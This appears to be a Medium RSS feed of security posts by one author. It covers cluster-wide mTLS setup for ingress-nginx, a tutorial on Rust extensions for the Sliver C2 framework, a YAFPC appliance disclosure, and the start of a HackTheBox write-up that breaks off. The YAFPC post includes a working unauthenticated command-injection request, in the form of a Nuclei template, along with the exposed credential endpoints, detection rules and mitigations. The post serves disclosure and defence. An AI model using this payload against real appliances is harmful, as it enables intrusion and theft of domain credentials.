src="https://cdn-images-1.medium.com/max/348/1*qT0aAYdoZpMkCC4UZJpTRA.png" /></figure><p>The first is pure overhead. Say you have 10 applications, and 10 users. This means you’d need to either sign 100 certificates/keys (one cert/key per application per user), or just re-use the same mTLS keys everywhere, at which point you might as well move mTLS to the front of the load balancer anyway, as you’re effectively just applying mTLS cluster wide, with extra steps.</p><p>The second downside is that of security. Say your application is hosted in namespace A, and your colleagues’s in namespace B. Your colleague has a service account with slightly too many privileges, and left automountServiceAccountToken as true (the default, please change this to false if you don’t use this, it doesn’t hurt, leaving it on is just free attack surface) in their deployment, and the attacker now has full control over all secrets in namespace B.</p><p>If you re-use the same mTLS certificate between namespace A and namespace B, the attacker can just read the mTLS key and now perform nasty attacks with the certificate.</p><blockquote>I’m not implying they can just access stuff in namespace A with a server-side mTLS cert, that would require some more catastrophic issues with your setup. Think more like them already being on your network and MITM’ing stuff, and relaying network traffic. Lot’s of fun scenario’s to think about here</blockquote><h3>Cluster Wide Authentication!</h3><p>So, if you’re going to re-use cryptographic material anyway.. why not just place it in front of the entire cluster? Not only does it ensure that nothing gets through without an mTLS cert (you could see that as a good, but also a terrible thing, depending on who uses your app), but it ensures that even if namespace B (from the last example) is compromised, they won’t have enough rights to steal the mTLS keys because:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*rsGNtcbRLUrdxieRqSa3uw.png" /></figure><p>We can now move the keys to a single location where an attacker won’t have access to if they compromise a namespace entirely. Namely, the namespace of whatever ingress software you’re using.</p><blockquote>I know I’m using Ingress Nginx which <a href="https://kubernetes.io/blog/2025/11/11/ingress-nginx-retirement/">just got deprecated</a>, that’s a whole other can of worms I don’t want to go in to. The same principle applies to other ingress servers as well. Granted you can apply custom configs, or if they support cluster-wide mTLS.</blockquote><h3>Configuring Ingress Nginx</h3><p>This is the final solution I ended up with. By no means should my OpenSSL configurations be used as a sane secure default. I’m just providing them here so you can play around with them. I am by no means a cryptographic expert, nor should I ever be trusted with running a real Certificate Authority.</p><p>I began by creating my own CA (with a 100 year expiry date because I love breaking my own rules):</p><pre>[ req ]<br>default_bits       = 4096<br>prompt             = no<br>default_md         = sha256<br>distinguished_name = dn<br>x509_extensions    = v3_ca<br><br>[ dn ]<br>C  = Enter<br>ST = Distinguised<br>L  = Name<br>O  = Stuff<br>OU = Here<br><br>[ v3_ca ]<br>basicConstraints = critical,CA:TRUE<br>keyUsage = critical, keyCertSign, cRLSign<br>subjectKeyIdentifier = hash</pre><pre>openssl genrsa -out ca.key 4096<br>openssl req -x509 -new -nodes -key ca.key -sha256 -days 36500 -out ca.crt -config ca.cnf</pre><p>With our newly created CA public/private key pair, I created the server-side certificates and keys:</p><pre>[ req ]<br>default_bits       = 4096<br>prompt             = no<br>default_md         = sha256<br>req_extensions     = req_ext<br>distinguished_name = dn<br><br>[ dn ]<br>C  = Enter<br>ST = Distinguised<br>L  = Name<br>O  = Stuff<br>OU = Here<br><br>[ req_ext ]<br>subjectAltName = @alt_names<br>extendedKeyUsage = serverAuth<br><br>[ alt_names ]<br>DNS.1 = example.local<br>DNS.2 = *.example.local</pre><pre>openssl genrsa -out server.key 4096<br>openssl req -new -key server.key -out server.csr -config server.cnf<br>openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt -days 36500 -sha256 -extensions req_ext -extfile server.cnf</pre><p>And lastly, the client certificate:</p><pre>[ req ]<br>default_bits       = 4096<br>prompt             = no<br>default_md         = sha256<br>req_extensions     = req_ext<br>distinguished_name = dn<br><br>[ dn ]<br>C  = Enter<br>ST = Distinguised<br>L  = Name<br>O  = Stuff<br>CN = Here<br><br>[ req_ext ]<br>extendedKeyUsage = clientAuth</pre><pre>openssl genrsa -out client.key 4096<br>openssl req -new -key client.key -out client.csr -config client.cnf<br>openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out client.crt -days 36500 -sha256 -extensions req_ext -extfile client.cnf<br>PASSWORD=$(uuidgen) &amp;&amp; echo &quot;Export password: $PASSWORD&quot; &amp;&amp; echo -n $PASSWORD &gt; client.pass &amp;&amp; openssl pkcs12 -export -inkey client.key -in client.crt -name &quot;Client RSA&quot; -out client.p12 -passout pass:&quot;$PASSWORD&quot;</pre><p>With all of these certificates, we can now start applying the mTLS certificate across our entire cluster. Please be smart and don’t randomly do this against a production cluster on a Friday evening. You’ll ruin your weekend.</p><pre># Create the default TLS certificate in the `ingress-nginx` namespace<br>kubectl create secret tls default-tls --cert=server.crt --key=server.key -n ingress-nginx<br><br># Tell ingress nginx to use this newly applied certificate as the default<br>kubectl patch deployment ingress-nginx-controller -n ingress-nginx --type=&#39;json&#39; -p=&#39;[<br>  {<br>    &quot;op&quot;: &quot;add&quot;,<br>    &quot;path&quot;: &quot;/spec/template/spec/containers/0/args/-&quot;,<br>    &quot;value&quot;: &quot;--default-ssl-certificate=ingress-nginx/default-tls&quot;<br>  }<br>]&#39;<br><br># Create a new secret containing the ca.crt (doesn&#39;t need to be secret, but whatever)<br>kubectl create secret generic mtls-ca --from-file=ca.crt=ca.crt -n ingress-nginx<br><br># Create a volume and a volume mount for the CA<br>kubectl patch deployment ingress-nginx-controller -n ingress-nginx --type=&#39;json&#39; -p=&#39;[<br>  {<br>    &quot;op&quot;: &quot;add&quot;,<br>    &quot;path&quot;: &quot;/spec/template/spec/containers/0/volumeMounts/-&quot;,<br>    &quot;value&quot;: {<br>      &quot;name&quot;: &quot;mtls-ca&quot;,<br>      &quot;mountPath&quot;: &quot;/etc/nginx/secrets&quot;,<br>      &quot;readOnly&quot;: true<br>    }<br>  },<br>  {<br>    &quot;op&quot;: &quot;add&quot;,<br>    &quot;path&quot;: &quot;/spec/template/spec/volumes/-&quot;,<br>    &quot;value&quot;: {<br>      &quot;name&quot;: &quot;mtls-ca&quot;,<br>      &quot;secret&quot;: { &quot;secretName&quot;: &quot;mtls-ca&quot; }<br>    }<br>  }<br>]&#39;<br><br># The magic sauce: update the config of `ingress-nginx` with a server-snippet containing the<br># `ssl_client_certificate` and `ssl_verify_client`<br>kubectl patch configmap ingress-nginx-controller -n ingress-nginx --type merge -p &#39;{<br>  &quot;data&quot;: {<br>    &quot;force-ssl-redirect&quot;: &quot;true&quot;,<br>    &quot;server-snippet&quot;: &quot;ssl_client_certificate /etc/nginx/secrets/ca.crt;\nssl_verify_client on;&quot;<br>  }<br>}&#39;</pre><p>Lastly, all you need to do is import the CA certificate onto your machine and add it as a trusted root, as well as importing the .p12 bundle containing the mTLS key/cert and you’re good to go!</p><p>Whenever I now visit any of my web applications hosted in my cluster, I’m prompted to provide authentication!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*bS1O2bHhh7r_VMhELSB8XA.png" /><figcaption>If everything goes well, Chrome should spit out this popup upon visiting</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0daee4104b19" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writing Sliver C2 Extensions in Rust]]></title>
            <link>https://medium.com/@paradoxis/writing-sliver-c2-extensions-in-rust-a95f620266de?source=rss-15699195a282------2</link>
            <guid isPermaLink="false">https://medium.com/p/a95f620266de</guid>
            <category><![CDATA[slivers]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cobalt-strike]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Luke Paris]]></dc:creator>
            <pubDate>Sat, 20 Jan 2024 20:33:48 GMT</pubDate>
            <atom:updated>2024-04-11T09:47:22.162Z</atom:updated>
            <content:encoded><![CDATA[<h3>TL;DR</h3><p>Also suck at C, but want to be a l33t hacker? You can write Sliver extensions in Rust! They’re blazingly fast, require basically no dependencies, and are very resistant to runtime errors due to Rust’s compiler magic. You can find a template project <a href="https://github.com/Paradoxis/Sliver-Rust-Extension-Template">here</a>.</p><h3>Introduction</h3><p>Over the past couple of years I’ve been playing around with various C2 frameworks from Metasploit, all the way to Cobalt Strike. While these all had some pretty nice upsides, in my opinion most come with some pretty big downsides (looking at you, Sleep scripting language).</p><p>As such, I recently decided to pick up <a href="https://github.com/BishopFox/sliver">BishopFox’ Sliver C2</a>, as it seemed to be a huge upgrades in terms of developer friendliness when trying to hack around the project itself.</p><p>In addition to this, I’m of the opinion that a fancy GUI is completely overrated, as the only real use it serves is seeing inter-connectedness of implants, which rarely exceeds four hops in my day-to-day use. So Sliver was a perfect match made in heaven.</p><h3>The problem</h3><p>There’s no beating around the bush with this one, so I’ll just say it as it is. <strong>I absolutely suck at C, .NET, and PowerShell </strong><em>(Yes, I know, my beloved colleague. It’s a skill issue, and I’m not afraid to admit it)</em>; which also just happen to be three super popular languages the security industry decided to base custom payloads around in C2 frameworks.</p><p>While I absolutely admire wizards that have memorized all Win32 API’s by heart and that can perform memory management in their sleep, I find the process of writing BOF’s very painful, and it tends to include hours of trial and error for me, as I try to figure out why the hell my beacon just crashed for the twentieth time (just to find out I mistakenly wrote DWORD instead of PDWORD at line 624 of my over-engineered BOF).</p><h3>Rewrite it in Rust! ™</h3><p>After having been voluntarily indoctrinated by <a href="https://www.youtube.com/@NoBoilerplate">No Boilerplate’s</a> Rust series over the past couple of months, I decided to give a stab at the language and fell in love almost instantly.</p><p>While fighting the compiler upfront seems annoying, in my experience the tradeoff truly was worth it. Given that I want malware to be as stable as possible, I’ve only really encountered crashes or bugs when I decided to unwisely use unwrap() in places that had no error handling; or, as expected, places where I decided to be a silly goober that used unsafe because GitHub Copilot told me to do so and I was too tired to bother at 2 AM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*YahO_UbSorx_NtnTue-Smw.jpeg" /></figure><p>After looking around at <a href="https://dominicbreuker.com/">Dominic Breuker’s</a> amazing Sliver blog posts, I decided to take a stab at converting his C extension to Rust, which turned out to be pretty simple!</p><p>All Sliver requires is an entrypoint function, which passes a callback function that accepts a buffer of data. I stripped down the code from <a href="https://dominicbreuker.com/post/learning_sliver_c2_12_extensions/">this </a>blog post down to it’s bare components, and was left with something like this:</p><pre>// Minimal Sliver Extension in C<br>//<br>// Compile with:<br>//   x86_64-w64-mingw32-gcc extension.c -o extension.x64.dll -shared<br><br>#include &lt;windows.h&gt;<br>#include &lt;stdint.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;stdio.h&gt;<br><br>// Sliver&#39;s magic<br>typedef int (*goCallback)(const char *, int);<br><br>__declspec(dllexport) int __cdecl entrypoint(<br>    char *argsBuffer,<br>    uint32_t bufferSize,<br>    goCallback callback<br>);<br><br>int entrypoint(char *argsBuffer, uint32_t bufferSize, goCallback callback)<br>{<br>    char *message = &quot;Hello world!\n&quot;;<br>    return callback(message, strlen(message));<br>}<br><br>// Required for compiling your DLL<br>BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)<br>{<br>    return TRUE;<br>}</pre><p>One cup of coffee later, I was left with this template for a Sliver extension in Rust :</p><pre>// Minimal Sliver Extension in Rust<br>//<br>// Compile with:<br>//   rustup target add x86_64-pc-windows-gnu<br>//   rustc --crate-type cdylib --target x86_64-pc-windows-gnu extension.rs -o extension.x64.dll<br><br>use std::ffi::CString;<br>use std::os::raw::{c_char, c_int, c_void};<br>use std::str;<br><br>type GoCallback = extern &quot;C&quot; fn(*const c_char, c_int) -&gt; c_int;<br><br>#[no_mangle]<br>pub extern &quot;C&quot; fn entrypoint(args_buffer: *mut c_char, buffer_size: u32, cb: GoCallback) -&gt; c_int {<br>    <br>    // Parse the arguments<br>    let args: &amp;str = match std::str::from_utf8(unsafe {<br>        std::slice::from_raw_parts(args_buffer as *const u8, buffer_size as usize)<br>    }) {<br>        Ok(v) =&gt; v,<br>        Err(_) =&gt; return 1,<br>    };<br><br>    // Return a greeting<br>    let greeting = format!(&quot;Hello, {}!&quot;, args);<br>    return callback(&amp;greeting, cb);<br>}<br><br>fn callback(msg: &amp;str, cb: GoCallback) -&gt; c_int {<br>    let msg = CString::new(msg.to_string()).unwrap();<br>    cb(msg.as_ptr(), msg.to_bytes().len() as c_int)<br>}<br><br>#[no_mangle]<br>pub extern &quot;C&quot; fn DllMain(<br>    _h_module: *mut c_void,<br>    _ul_reason_for_call: u32,<br>    _lp_reserved: *mut c_void,<br>) -&gt; bool {<br>    true<br>}</pre><blockquote>While I know that using unsafe is, well, unsafe, in this case it’s required given that we’re forced to accept input from another source we don’t have control over. Just pray to the gods Sliver passes your user input properly.</blockquote><blockquote>Note: This code is limited to Windows, but nothing is stopping you from porting it to Linux, the compiler will happily do so! The only current issue with Linux extensions, is that as of writing, Linux &amp; MacOS support is yet to be added in Sliver (<a href="https://github.com/BishopFox/sliver/issues/561">related issue</a>).</blockquote><p>Combine this with a fancy Makefile :</p><pre>TARGETS := x86_64-unknown-linux-gnu x86_64-pc-windows-gnu<br><br><br>all: release<br><br>debug:<br>        $(foreach target,$(TARGETS),cargo build --lib --target $(target);)<br>        cp target/x86_64-pc-windows-gnu/debug/hello.dll hello.dll<br><br>release:<br>        $(foreach target,$(TARGETS),cargo build --release --lib --target $(target);)<br>        cp target/x86_64-pc-windows-gnu/release/hello.dll hello.dll</pre><p>And of course an extension config file:</p><pre>{<br>  &quot;name&quot;: &quot;hello&quot;,<br>  &quot;command_name&quot;: &quot;hello&quot;,<br>  &quot;version&quot;: &quot;0.0.1&quot;,<br>  &quot;extension_author&quot;: &quot;Paradoxis&quot;,<br>  &quot;original_author&quot;: &quot;Paradoxis&quot;,<br>  &quot;repo_url&quot;: &quot;https://github.com/Paradoxis/Sliver-Rust-Extension-Template&quot;,<br>  &quot;help&quot;: &quot;Bare minimum extension template for Sliver, written in Rust.&quot;,<br>  &quot;entrypoint&quot;: &quot;entrypoint&quot;,<br>  &quot;files&quot;: [<br>    {<br>      &quot;os&quot;: &quot;windows&quot;,<br>      &quot;arch&quot;: &quot;amd64&quot;,<br>      &quot;path&quot;: &quot;hello.dll&quot;<br>    }<br>  ]<br>}</pre><p>Run make, load the resulting extension, and you now have yourself a Sliver extension, completely written in Rust!</p><blockquote>Important note: using Sliver’s argument system like used in BOF’s does <strong>not </strong>work, anything you type after running your command is directly passed to the DLL itself. Not all hope is lost though, you can use <a href="https://crates.io/crates/clap">clap</a>!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*b8TzQbL-9171LL3fSl1K7w.png" /><figcaption>It works!</figcaption></figure><h3>Tips, Tricks, and Dragons</h3><h4>Shooting yourself in the foot</h4><p>Of course, no code is perfect. Try to avoid using unwrap on unhandled errors, as well as using panic where possible. If you’re using third-party libraries (for instance, like Clap for argument parsing) make sure you use functions that do not panic unexpectedly, like Clap’s parsedoes).</p><h4>Background tasks!</h4><p>Fun fact! You can also use this to create long-lived background tasks! While this (yet again) does require the usage of unsafe due to the fact we’ll probably have to touch static variables (using <a href="https://docs.rs/lazy_static/latest/lazy_static/">lazy_static</a> will not work as whatever you initialized will be overwritten). Just fire up a new thread, and keep track of your state somewhere, like so:</p><pre>// Word of warning:<br>// This code has not been tested thoroughly<br><br>static mut GLOBAL_THING: Option&lt;Arc&lt;RwLock&lt;Vec&lt;i32&gt;&gt;&gt;&gt; = None;<br><br>#[no_mangle]<br>pub extern &quot;C&quot; fn entrypoint(args: *mut c_char, size: u32, cb: GoCallback) -&gt; c_int {<br>    <br>    // Ensure thing is set<br>    unsafe {<br>        if GLOBAL_THING.is_none() {<br>            GLOBAL_THING = Some(Arc::new(RwLock::new(Vec::new())));<br>        }<br>    }<br><br>    // here you can either read or write to the variable<br>    // don&#39;t forget the closure as you might cause deadlocks<br>    {<br>        let thing = unsafe { &amp;GLOBAL_THING };<br>        // get / set values<br>    }<br>    <br>    // Or just spawn a thread and make a worker periodically write<br>    // to your buffer. Just make sure you don&#39;t run out of memory :)<br>    std::thread::spawn(...);<br>}<br><br>fn background_task() {<br>    let thing = unsafe { &amp;GLOBAL_THING };<br>    // do something with thing<br>}</pre><h4>What about the size?</h4><p>It’s no secret that Rust binaries can be big, but changing a few settings in your cargo.toml should help drasticly reduce your payload size. While Rust DLL’s will probably never reach the same size of BOF’s, my DLL’s usually end up being around 300KB using the following config:</p><pre>[profile.release]<br>strip = &quot;debuginfo&quot;<br>opt-level = &quot;z&quot;<br>lto = true</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a95f620266de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[YAFPC — Unauthenticated Remote Code Execution]]></title>
            <link>https://medium.com/@paradoxis/yafpc-unauthenticated-remote-code-execution-755bf9e4d7c1?source=rss-15699195a282------2</link>
            <guid isPermaLink="false">https://medium.com/p/755bf9e4d7c1</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[nucleus]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[suricata]]></category>
            <category><![CDATA[snort]]></category>
            <dc:creator><![CDATA[Luke Paris]]></dc:creator>
            <pubDate>Sat, 14 Jan 2023 14:49:16 GMT</pubDate>
            <atom:updated>2023-01-14T14:59:18.020Z</atom:updated>
            <content:encoded><![CDATA[<h3>YAFPC — Unauthenticated Remote Code Execution</h3><h3>TL;DR:</h3><p>Two separate flaws exist in the YAFPC (Yet Another Free PDF Composer) appliance which allows an attacker to gain remote code execution, as well as obtain Active Directory (AD) domain credentials without prior authentication or authorization.</p><p>The vulnerability is caused due to access controls only being present on the frontend of the application, allowing an attacker to directly call the affected web pages in order to obtain full remote code execution.</p><p>An attacker can obtain code execution with full root privileges and obtain access to an Active Directory service account. As the system is running Unix, an attacker could use it as a staging ground for attacks which require access to reserved system ports, as well as simply serve as an easy way of gaining access to otherwise inaccessible network segments.</p><p>Steps on how to mitigate, identify the issue and detect vulnerabilities can be found at the end of this post.</p><h3>A little bit of context</h3><p>A few months ago I was tasked to perform an internal penetration test at a customer when my (unnamed) colleague and I ran into an interesting appliance meant for creating, printing, and sending PDF documents.</p><p>Immediately upon opening the application in a web browser, my Spidey senses started tingling, as just the layout of the application alone screamed “this has to be vulnerable”. So, with some extra time left on the job, we started digging.</p><figure><img alt="An image of the YAFPC (Yet Another Free PDF Composer) appliance" src="https://cdn-images-1.medium.com/max/872/1*RG4NiajAKKp_bM-45zPHFQ.png" /><figcaption>YAFPC — Yet Another Free PDF Composer (the name is quite ironic, as the software is not free)</figcaption></figure><h3>The “Authentication Bypass”</h3><p>Of course, the first thing we tried to do is get around the login screen. There were a few links on the side which showed some available functionality, so of course we tried the ‘Admin Settings’ first. Upon clicking the link we were ever so briefly shown the entire admin panel before the login screen popped into view once more. Intrigued by this, we decided to look at the HTTP traffic, and to our surprise:</p><figure><img alt="An image showing how the appliance exposes the administrator password for the Web UI" src="https://cdn-images-1.medium.com/max/693/1*1K-4stDfYaV4hx6m2KFwYA.png" /><figcaption>The admin password!</figcaption></figure><p>As it turns out, there wasn’t any authentication to begin with. All the application does, is set a cookie which prevents the login screen from popping up with JavaScript. The server side doesn’t actually check if you’re logged in in the slightest, except for when you’re obtaining the cookie.</p><p>So we just copied the administrator password to hide the popup (or we could have just disabled the check using Burp’s find/replace function), and started clicking all links to see what the application had to offer, which lead us to the next discovery:</p><h3>Active Directory Credential Exposure</h3><p>Simply by visiting the /mailAlias.jsp page we stumbled upon another set of credentials. This time however, the credentials were a little more impactful given that they were Active Directory service account credentials.</p><figure><img alt="An image showing how the application exposes Active Directory Service Account credentials" src="https://cdn-images-1.medium.com/max/942/1*in3izyRxXfs-GutjWML1wQ.png" /><figcaption>Free AD credentials!</figcaption></figure><h3>Obtaining Remote Code Execution</h3><p>While I personally stopped looking here, my colleague decided to dig even deeper and discovered a cool feature which allows for custom ‘filters’ to be added when printing a document. And what better way to do this than by passing them to the shell directly?</p><p>So he added a couple of evil commands, wrapped both the stdin, and stdout in base 64 encoding to ensure commands arrived safely, triggered the function, and got remote code execution!</p><figure><img alt="Image containing successful remote code execution on the appliance" src="https://cdn-images-1.medium.com/max/952/1*r5o7R5ick_PyNpFlMvgA8g.png" /><figcaption>Successfully triggering remote code execution</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*iIjL2DTsprD02PAZFF8Low.png" /><figcaption>The attacker’s perspective</figcaption></figure><h3>Mitigation, Exploit Detection &amp; Identification</h3><p>Unfortunately, the vendor of the application appears to have ceased operations years ago. Despite various attempts to find contact details, I was unable to find a working e-mail address of the original developers, and all web pages and e-mail addresses end up in a dead end. For this reason, I deem it unlikely that there will ever be an official patch.</p><p>Regardless, there are still some things you can do in order to protect yourself, and your organization in the event you use this software:</p><h4>Mitigation</h4><p>Firstly, block inbound traffic to TCP port 80 using a network firewall, or place the appliance in a VLAN which is only accessible by select users which require access.</p><p>Secondly, place the application behind a web application firewall (WAF) and block inbound HTTP POST requests containing the following form fields, where titleFiltercontains the command injection payload:</p><ul><li>formName</li><li>jpegDensity</li><li>titleAsFilename</li><li>useTitleFilter</li><li>titleTest</li><li>titleFilter</li></ul><p>This should completely block any attempts to exploit the device. Lastly, block access to the following URI’s to prevent credential exposure (note that this will break existing functionality for legitimate users):</p><ul><li>/mailAlias.jsp Which exposes the AD service account password;</li><li>/admin.jsp Which exposes the web UI password (which might be re-used in your organization);</li><li>/editPrinter.jsp Which triggers the remote code execution.</li></ul><h4>Exploit Detection</h4><p>My colleagues over at the Fox-IT Security Research Team were also kind enough to create a set of detection rules which should help detect attempted, and successful exploits of the appliance (the rules are compatible with both <a href="https://suricata.io/">Suricata</a> and <a href="https://www.snort.org/">Snort</a>):</p><pre>alert tcp any any -&gt; any $HTTP_PORTS (msg:&quot;FOX-SRT - Flowbit - Possible YAFPC RCE Attempt Observed&quot;; flow:established, to_server; content:&quot;POST&quot;; http_method; uricontent:&quot;/editPrinter.jsp&quot;; content:&quot;|22|titleFilter|22 0d 0a 0d 0a|&quot;; fast_pattern; pcre:&quot;/[a-z0-9]{3,250}--/Ri&quot;; flowbits:set, fox.yafpc.rce; flowbits:noalert; classtype:web-application-attack; metadata:created_at 2022-09-14; priority:3; sid:21004234; rev:1;)<br><br>alert tcp any $HTTP_PORTS -&gt; any any (msg:&quot;FOX-SRT - Exploit - Possible YAFPC Successful RCE Observed&quot;; flow:established, from_server; flowbits:isset, fox.yafpc.rce; content:&quot;200&quot;; http_stat_code; content:&quot;&lt;font color=|22|green|22|&gt;&quot;; fast_pattern; threshold:type limit, track by_src, count 1, seconds 600; classtype:web-application-attack; metadata:ids suricata; metadata:created_at 2022-09-14; priority:2; sid:21004235; rev:1;)</pre><h4>Identification</h4><p>Lastly, I created a set of <a href="https://github.com/projectdiscovery/nuclei">Nuclei</a> templates which should help in identifying the active directory credential exposure, as well as identifying the remote code execution vulnerability:</p><pre>id: yafpc-credential-exposure<br><br>info:<br>  name: YAFPC Unauthenticated Domain Credential Exposure<br>  description: |<br>    The YAFPC application exposes two endpoints which are used<br>    for configuring the admin account, as well as an e-mail alias<br>    in the event the printer needs to send out the PDF documents<br>    over e-mail.<br><br>    Upon requesting the web pages, the application will return the<br>    credentials for the associated accounts. For the case of the<br>    e-mail alias, this means an Active Directory service account<br>    is exposed, which might be used for lateral movement.<br><br>  author: github.com/paradoxis<br>  severity: medium<br>  tags:<br>    - yafpc<br>    - exposure<br><br>requests:<br>  - method: GET<br>    path:<br>      - &#39;{{BaseURL}}/mailAlias.jsp&#39;<br>    matchers-condition: and<br>    matchers:<br>      - type: status<br>        status:<br>          - 200<br>      - type: word<br>        words:<br>          - &#39;LDAP Server/Domain Controller:&#39;<br>      - type: regex<br>        regex:<br>          - type=text name=&quot;ldapUser&quot; size=&quot;30&quot; value=&quot;(.*?)&quot;&gt;<br>      - type: regex<br>        regex:<br>          - type=password name=&quot;ldapPasswd&quot; size=&quot;15&quot; value=&quot;(.*?)&quot;&gt;</pre><pre>id: yafpc-unauth-rce<br><br>info:<br>  name: YAFPC Unauthenticated Remote Code Execution<br>  description: |<br>    A vulnerability in the application allows an attacker to execute<br>    arbitrary commands on the target machine. This is achieved by abusing the<br>    &#39;Apply filter&#39; functionality of the &#39;Edit printer&#39; page under &#39;Printers&#39;.<br><br>    By simply adding a command (eg &#39;id&#39;) and pressing &#39;Test&#39;, the application will<br>    execute the command. While the web GUI shows a login prompt, this can be performed<br>    without prior authentication.<br><br>  author: github.com/paradoxis<br>  severity: high<br>  tags:<br>    - yafpc<br>    - rce<br><br>requests:<br>  - method: POST<br>    path:<br>      - &#39;{{BaseURL}}/printers.jsp&#39;<br>    headers:<br>      Connection: close<br>      Content-Type: &#39;multipart/form-data; boundary={{randstr_1}}&#39;<br>    body: |<br>      --{{randstr_1}}<br>      Content-Disposition: form-data; name=&quot;formName&quot;<br><br>      editPrinter<br>      --{{randstr_1}}<br>      Content-Disposition: form-data; name=&quot;printerHash&quot;<br><br>      1660683987610<br>      --{{randstr_1}}<br>      Content-Disposition: form-data; name=&quot;printerName&quot;<br><br>      newPDF-Printer<br>      --{{randstr_1}}<br>      Content-Disposition: form-data; name=&quot;printerRemark&quot;<br><br>      Place Your Remarks here<br>      --{{randstr_1}}<br>      Content-Disposition: form-data; name=&quot;printerDocs&quot;<br><br>      0<br>      --{{randstr_1}}<br>      Content-Disposition: form-data; name=&quot;action&quot;<br><br>      Edit Printer<br>      --{{randstr_1}}--<br><br>  - method: POST<br>    path:<br>      - &#39;{{BaseURL}}/editPrinter.jsp&#39;<br>    headers:<br>      Connection: close<br>      Content-Type: &#39;multipart/form-data; boundary={{randstr_1}}&#39;<br>    body: |<br>      --{{randstr_1}}<br>      Content-Disposition: form-data; name=&quot;formName&quot;<br><br>      printerProperties<br>      --{{randstr_1}}<br>      Content-Disposition: form-data; name=&quot;jpegDensity&quot;<br><br>      75<br>      --{{randstr_1}}<br>      Content-Disposition: form-data; name=&quot;titleAsFilename&quot;<br><br>      true<br>      --{{randstr_1}}<br>      Content-Disposition: form-data; name=&quot;useTitleFilter&quot;<br><br>      true<br>      --{{randstr_1}}<br>      Content-Disposition: form-data; name=&quot;titleFilter&quot;<br><br>      id<br>      --{{randstr_1}}<br>      Content-Disposition: form-data; name=&quot;titleTest&quot;<br><br>      Test<br>      --{{randstr_1}}--<br>    matchers-condition: and<br>    matchers:<br>      - type: status<br>        status:<br>          - 200<br>      - type: regex<br>        regex:<br>          - &lt;font color=&quot;green&quot;&gt;uid=\d+.*? gid=\d+.*? groups=\d+.*?&lt;/font&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*IlXSwKpHm1HT_-tOpNbN0w.png" /><figcaption>Using Nuclei to discover the credential exposure and RCE vulnerability</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=755bf9e4d7c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox — “Blunder”]]></title>
            <link>https://medium.com/@paradoxis/hackthebox-blunder-d3669b73875c?source=rss-15699195a282------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3669b73875c</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Luke Paris]]></dc:creator>
            <pubDate>Wed, 28 Oct 2020 20:30:50 GMT</pubDate>
            <atom:updated>2021-08-14T14:22:04.565Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — “Blunder”</h3><h4>Write-up</h4><p>Blunder is a now retired HackTheBox capture the flag challenge rated as <strong>easy</strong>.</p><h4>Initial reconnaissance</h4><p>As with any pentest, you’ll need to know what attack surface your target has. For this I performed a quick port scan using <em>nmap </em>to see if any of the top 3000 most used ports were open.</p><p>Furthermore I used the -sV argument to enumerate all service versions, and used -oA to output all formats to a file named &#39;quick.*&#39; , the output of the command looked like such:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YfepjXnCCMVycu6wNrB0Jg.png" /><figcaption>Running the nmap scan reveals one open port</figcaption></figure><p>As there was only one port, I started another full scan, changing the<br>--top-ports argument to -p- as to scan all ports, however this did not return any additional results. This means our attack surface has shrunk to a <em>single entry point.</em></p><h4>Investigating the web application</h4><p>My next step was to just visit the web application in a regular browser, see what is actually running on the web server. The previous nmap scan simply returned a name “Blunder” which did not give away too much information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EBHVkQrXV6juQXWR9uElUQ.png" /><figcaption>Seems like any other blog</figcaption></figure><p>Navigating to the web application simply revealed a blog. My next thought was to see if the web application had some sort of administrator panel I could abuse. All I had to do was navigate to /admin, which presented me with a login screen and the title “Bludit”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ki4EuPCEwEhLmYtgC-r2Ug.png" /><figcaption>This is probably our way in</figcaption></figure><p>Using searchsploit I found out that bludit is a known open-source CMS with two fairly recent vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*084_g8wChjxpfyaKlW4Bhw.png" /><figcaption>Two common vulnerabilities are found</figcaption></figure><p>Great news, however we don’t know what version of the software the blog is running. For all we know it’s using the latest, most patched version! I ran into this issue quite a while back and wrote a tool for it: <a href="https://github.com/Paradoxis/Git-Fingerprint">Git-Fingerprint</a>.</p><p>It hashes all files in a Git repository locally and compares it to the files on the web server in order to find out what branch / tag / commit the server is using. I went to work and started scanning the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LSGosT3ZLxr1C5rP9gXajg.png" /><figcaption>Using the tag mode, with 